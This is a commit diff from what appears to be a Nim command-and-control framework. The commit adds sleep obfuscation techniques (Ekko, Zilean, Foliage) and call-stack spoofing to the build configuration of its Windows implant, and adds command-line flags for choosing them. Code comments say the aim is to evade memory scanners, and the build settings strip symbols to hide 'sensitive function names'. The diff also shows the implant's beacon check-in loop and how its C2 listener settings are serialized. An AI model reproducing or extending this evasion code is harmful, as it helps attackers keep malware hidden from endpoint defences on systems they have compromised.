Integrated sleep obfuscation settings into agent generation.
This commit is contained in:
@@ -30,6 +30,8 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
|||||||
ip: unpacker.getDataWithLengthPrefix(),
|
ip: unpacker.getDataWithLengthPrefix(),
|
||||||
port: int(unpacker.getUint32()),
|
port: int(unpacker.getUint32()),
|
||||||
sleep: int(unpacker.getUint32()),
|
sleep: int(unpacker.getUint32()),
|
||||||
|
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
||||||
|
spoofStack: cast[bool](unpacker.getUint8()),
|
||||||
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
||||||
agentPublicKey: agentKeyPair.publicKey,
|
agentPublicKey: agentKeyPair.publicKey,
|
||||||
profile: parseString(unpacker.getDataWithLengthPrefix())
|
profile: parseString(unpacker.getDataWithLengthPrefix())
|
||||||
|
|||||||
@@ -125,7 +125,6 @@ proc GetRandomThreadCtx(): CONTEXT =
|
|||||||
Ekko sleep obfuscation based on Timers API using RtlCreateTimer
|
Ekko sleep obfuscation based on Timers API using RtlCreateTimer
|
||||||
]#
|
]#
|
||||||
proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var bool = true) =
|
proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var bool = true) =
|
||||||
|
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
ctx: array[10, CONTEXT]
|
ctx: array[10, CONTEXT]
|
||||||
@@ -465,8 +464,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
|||||||
#[
|
#[
|
||||||
Foliage sleep obfuscation based on Asynchronous Procedure Calls
|
Foliage sleep obfuscation based on Asynchronous Procedure Calls
|
||||||
]#
|
]#
|
||||||
proc sleepFoliage*(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
||||||
|
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
ctx: array[7, CONTEXT]
|
ctx: array[7, CONTEXT]
|
||||||
@@ -574,7 +572,7 @@ proc sleepFoliage*(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
|||||||
echo protect("[-] "), err.msg
|
echo protect("[-] "), err.msg
|
||||||
|
|
||||||
# Sleep obfuscation implemented in various techniques
|
# Sleep obfuscation implemented in various techniques
|
||||||
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoofStack: var bool = true) =
|
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
|
||||||
|
|
||||||
if sleepDelay == 0:
|
if sleepDelay == 0:
|
||||||
return
|
return
|
||||||
@@ -582,7 +580,7 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoof
|
|||||||
# Initialize required API functions
|
# Initialize required API functions
|
||||||
let apis = initApis()
|
let apis = initApis()
|
||||||
|
|
||||||
echo fmt"[*] Sleepmask settings: Technique: {$mode}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
|
echo fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
|
||||||
|
|
||||||
var img: USTRING = USTRING(Length: 0)
|
var img: USTRING = USTRING(Length: 0)
|
||||||
var key: USTRING = USTRING(Length: 0)
|
var key: USTRING = USTRING(Length: 0)
|
||||||
@@ -602,11 +600,12 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = ZILEAN, spoof
|
|||||||
key.Length = cast[DWORD](keyBuffer.len())
|
key.Length = cast[DWORD](keyBuffer.len())
|
||||||
|
|
||||||
# Execute sleep obfuscation technique
|
# Execute sleep obfuscation technique
|
||||||
case mode:
|
case technique:
|
||||||
of EKKO:
|
of EKKO:
|
||||||
sleepEkko(apis, key, img, sleepDelay, spoofStack)
|
sleepEkko(apis, key, img, sleepDelay, spoofStack)
|
||||||
of ZILEAN:
|
of ZILEAN:
|
||||||
sleepZilean(apis, key, img, sleepDelay, spoofStack)
|
sleepZilean(apis, key, img, sleepDelay, spoofStack)
|
||||||
of FOLIAGE:
|
of FOLIAGE:
|
||||||
sleepFoliage(apis, key, img, sleepDelay)
|
sleepFoliage(apis, key, img, sleepDelay)
|
||||||
|
of NONE:
|
||||||
|
sleep(sleepDelay)
|
||||||
|
|||||||
@@ -34,10 +34,8 @@ proc main() =
|
|||||||
]#
|
]#
|
||||||
|
|
||||||
while true:
|
while true:
|
||||||
|
# Sleep obfuscation to evade memory scanners
|
||||||
# Sleep obfuscation with stack spoofing to evade memory scanners
|
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
|
||||||
var spoof = true
|
|
||||||
sleepObfuscate(ctx.sleep * 1000, spoofStack = spoof)
|
|
||||||
|
|
||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
echo "\n", fmt"[*] [{date}] Checking in."
|
echo "\n", fmt"[*] [{date}] Checking in."
|
||||||
|
|||||||
@@ -3,5 +3,5 @@
|
|||||||
-d:release
|
-d:release
|
||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -77,10 +77,11 @@ type
|
|||||||
LOG_SUCCESS = "[DONE] "
|
LOG_SUCCESS = "[DONE] "
|
||||||
LOG_WARNING = "[WARN] "
|
LOG_WARNING = "[WARN] "
|
||||||
|
|
||||||
SleepObfuscationMode* = enum
|
SleepObfuscationTechnique* = enum
|
||||||
EKKO = 0'u8
|
NONE = 0'u8
|
||||||
ZILEAN = 1'u8
|
EKKO = 1'u8
|
||||||
FOLIAGE = 2'u8
|
ZILEAN = 2'u8
|
||||||
|
FOLIAGE = 3'u8
|
||||||
|
|
||||||
# Encryption
|
# Encryption
|
||||||
type
|
type
|
||||||
@@ -209,6 +210,8 @@ type
|
|||||||
ip*: string
|
ip*: string
|
||||||
port*: int
|
port*: int
|
||||||
sleep*: int
|
sleep*: int
|
||||||
|
sleepTechnique*: SleepObfuscationTechnique
|
||||||
|
spoofStack*: bool
|
||||||
sessionKey*: Key
|
sessionKey*: Key
|
||||||
agentPublicKey*: Key
|
agentPublicKey*: Key
|
||||||
profile*: Profile
|
profile*: Profile
|
||||||
|
|||||||
@@ -7,17 +7,27 @@ import ../../common/[types, utils, profile, serialize, crypto]
|
|||||||
|
|
||||||
const PLACEHOLDER = "PLACEHOLDER"
|
const PLACEHOLDER = "PLACEHOLDER"
|
||||||
|
|
||||||
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int): seq[byte] =
|
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: string, spoofStack: bool): seq[byte] =
|
||||||
|
|
||||||
var packer = Packer.init()
|
var packer = Packer.init()
|
||||||
|
|
||||||
# Add listener configuration
|
# Add listener configuration
|
||||||
# Variable length data is prefixed with a 4-byte length indicator
|
# Variable length data is prefixed with a 4-byte length indicator
|
||||||
|
|
||||||
|
# Listener configuration
|
||||||
packer.add(string.toUuid(listener.listenerId))
|
packer.add(string.toUuid(listener.listenerId))
|
||||||
packer.addDataWithLengthPrefix(string.toBytes(listener.address))
|
packer.addDataWithLengthPrefix(string.toBytes(listener.address))
|
||||||
packer.add(uint32(listener.port))
|
packer.add(uint32(listener.port))
|
||||||
|
|
||||||
|
# Sleep settings
|
||||||
packer.add(uint32(sleep))
|
packer.add(uint32(sleep))
|
||||||
|
packer.add(uint8(parseEnum[SleepObfuscationTechnique](sleepTechnique.toUpperAscii())))
|
||||||
|
packer.add(uint8(spoofStack))
|
||||||
|
|
||||||
|
# Public key for key exchange
|
||||||
packer.addData(cq.keyPair.publicKey)
|
packer.addData(cq.keyPair.publicKey)
|
||||||
|
|
||||||
|
# C2 profile
|
||||||
packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))
|
packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))
|
||||||
|
|
||||||
let data = packer.pack()
|
let data = packer.pack()
|
||||||
@@ -123,7 +133,7 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bo
|
|||||||
return true
|
return true
|
||||||
|
|
||||||
# Agent generation
|
# Agent generation
|
||||||
proc agentBuild*(cq: Conquest, listener, sleep: string): bool {.discardable.} =
|
proc agentBuild*(cq: Conquest, listener, sleepDelay: string, sleepTechnique: string, spoofStack: bool): bool {.discardable.} =
|
||||||
|
|
||||||
# Verify that listener exists
|
# Verify that listener exists
|
||||||
if not cq.dbListenerExists(listener.toUpperAscii):
|
if not cq.dbListenerExists(listener.toUpperAscii):
|
||||||
@@ -133,11 +143,11 @@ proc agentBuild*(cq: Conquest, listener, sleep: string): bool {.discardable.} =
|
|||||||
let listener = cq.listeners[listener.toUpperAscii]
|
let listener = cq.listeners[listener.toUpperAscii]
|
||||||
|
|
||||||
var config: seq[byte]
|
var config: seq[byte]
|
||||||
if sleep.isEmptyOrWhitespace():
|
if sleepDelay.isEmptyOrWhitespace():
|
||||||
# If no sleep value has been defined, take the default from the profile
|
# If no sleep value has been defined, take the default from the profile
|
||||||
config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep"))
|
config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep"), sleepTechnique, spoofStack)
|
||||||
else:
|
else:
|
||||||
config = cq.serializeConfiguration(listener, parseInt(sleep))
|
config = cq.serializeConfiguration(listener, parseInt(sleepDelay), sleepTechnique, spoofStack)
|
||||||
|
|
||||||
let unpatchedExePath = cq.compile(config.len)
|
let unpatchedExePath = cq.compile(config.len)
|
||||||
if unpatchedExePath.isEmptyOrWhitespace():
|
if unpatchedExePath.isEmptyOrWhitespace():
|
||||||
|
|||||||
@@ -13,6 +13,8 @@ proc makeAgentLogDirectory*(cq: Conquest, agentId: string): bool =
|
|||||||
|
|
||||||
proc log*(cq: Conquest, logEntry: string) =
|
proc log*(cq: Conquest, logEntry: string) =
|
||||||
let
|
let
|
||||||
|
# TODO: Fix issue where log files are written to the wrong agent when the interact agent is changed in the middle of command execution
|
||||||
|
# Though that problem would not occur when a proper GUI is used in the future
|
||||||
date = now().format("dd-MM-yyyy")
|
date = now().format("dd-MM-yyyy")
|
||||||
agentLogPath = fmt"{CONQUEST_ROOT}/data/logs/{cq.interactAgent.agentId}/{date}.session.log"
|
agentLogPath = fmt"{CONQUEST_ROOT}/data/logs/{cq.interactAgent.agentId}/{date}.session.log"
|
||||||
|
|
||||||
|
|||||||
@@ -54,9 +54,10 @@ var parser = newParser:
|
|||||||
command("build"):
|
command("build"):
|
||||||
help("Generate a new agent to connect to an active listener.")
|
help("Generate a new agent to connect to an active listener.")
|
||||||
option("-l", "--listener", help="Name of the listener.", required=true)
|
option("-l", "--listener", help="Name of the listener.", required=true)
|
||||||
option("-s", "--sleep", help="Sleep delay in seconds." )
|
option("-s", "--sleep", help="Sleep delay in seconds.")
|
||||||
|
option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"])
|
||||||
|
flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.")
|
||||||
# option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
|
# option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
|
||||||
|
|
||||||
command("help"):
|
command("help"):
|
||||||
nohelpflag()
|
nohelpflag()
|
||||||
|
|
||||||
@@ -104,7 +105,7 @@ proc handleConsoleCommand(cq: Conquest, args: string) =
|
|||||||
of "interact":
|
of "interact":
|
||||||
cq.agentInteract(opts.agent.get.interact.get.name)
|
cq.agentInteract(opts.agent.get.interact.get.name)
|
||||||
of "build":
|
of "build":
|
||||||
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep)
|
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.sleepmask, opts.agent.get.build.get.spoof_stack)
|
||||||
else:
|
else:
|
||||||
cq.agentUsage()
|
cq.agentUsage()
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user